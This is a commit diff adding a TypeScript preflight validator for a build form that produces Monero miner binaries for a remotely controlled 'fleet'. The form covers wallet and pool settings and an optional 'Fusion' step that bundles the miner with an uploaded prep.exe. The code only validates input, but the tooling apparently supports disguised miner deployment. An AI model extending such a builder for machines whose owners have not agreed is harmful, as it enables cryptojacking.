Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
132
server/web/src/help/forgeValidation.ts
Normal file
132
server/web/src/help/forgeValidation.ts
Normal file
@@ -0,0 +1,132 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||
|
||||
export type PreflightLevel = 'ok' | 'warn' | 'error';
|
||||
|
||||
export interface PreflightCheck {
|
||||
id: string;
|
||||
level: PreflightLevel;
|
||||
message: string;
|
||||
}
|
||||
|
||||
function isLanReachableUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
const host = u.hostname.toLowerCase();
|
||||
if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
|
||||
if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
|
||||
if (host.startsWith('172.')) {
|
||||
const parts = host.split('.');
|
||||
if (parts.length >= 2) {
|
||||
const second = parseInt(parts[1], 10);
|
||||
if (second >= 16 && second <= 31) return true;
|
||||
}
|
||||
}
|
||||
return host.includes('.');
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
const checks: PreflightCheck[] = [];
|
||||
|
||||
if (!form.worker_name.trim()) {
|
||||
checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
|
||||
} else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
|
||||
checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
|
||||
} else {
|
||||
checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
|
||||
}
|
||||
|
||||
if (!form.server_url.trim()) {
|
||||
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
|
||||
} else if (!isLanReachableUrl(form.server_url)) {
|
||||
checks.push({
|
||||
id: 'server',
|
||||
level: 'error',
|
||||
message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.',
|
||||
});
|
||||
} else {
|
||||
checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' });
|
||||
}
|
||||
|
||||
if (!form.wallet.trim()) {
|
||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
|
||||
} else {
|
||||
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
|
||||
}
|
||||
|
||||
if (!form.pool_host.trim()) {
|
||||
checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
|
||||
} else {
|
||||
checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
|
||||
}
|
||||
|
||||
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
|
||||
checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
|
||||
} else {
|
||||
checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
|
||||
}
|
||||
|
||||
const out = (form.output_dir || '').trim();
|
||||
if (!out) {
|
||||
checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
|
||||
} else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
|
||||
checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
|
||||
} else {
|
||||
checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
|
||||
}
|
||||
|
||||
if (form.fusion_enabled) {
|
||||
if (!fusionPrepSelected) {
|
||||
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — upload your prep.exe.' });
|
||||
} else {
|
||||
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → output ${form.fusion_output_name || 'prep.exe'}.` });
|
||||
}
|
||||
}
|
||||
|
||||
if (form.thread_mode === 'fixed' && form.threads < 1) {
|
||||
checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
|
||||
}
|
||||
|
||||
if (form.ai_enabled) {
|
||||
const endpoint = (form.ai_ollama_endpoint || '').trim();
|
||||
const model = (form.ai_model || '').trim();
|
||||
if (!endpoint) {
|
||||
checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
|
||||
} else {
|
||||
try {
|
||||
const u = new URL(endpoint);
|
||||
if (!u.protocol.startsWith('http')) {
|
||||
checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
|
||||
} else {
|
||||
checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
|
||||
}
|
||||
} catch {
|
||||
checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
|
||||
}
|
||||
}
|
||||
if (!model) {
|
||||
checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
|
||||
} else {
|
||||
checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
|
||||
}
|
||||
}
|
||||
|
||||
// Incompatibility + coupling rules
|
||||
checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));
|
||||
|
||||
return checks;
|
||||
}
|
||||
|
||||
export function preflightHasErrors(checks: PreflightCheck[]): boolean {
|
||||
return checks.some((c) => c.level === 'error');
|
||||
}
|
||||
Reference in New Issue
Block a user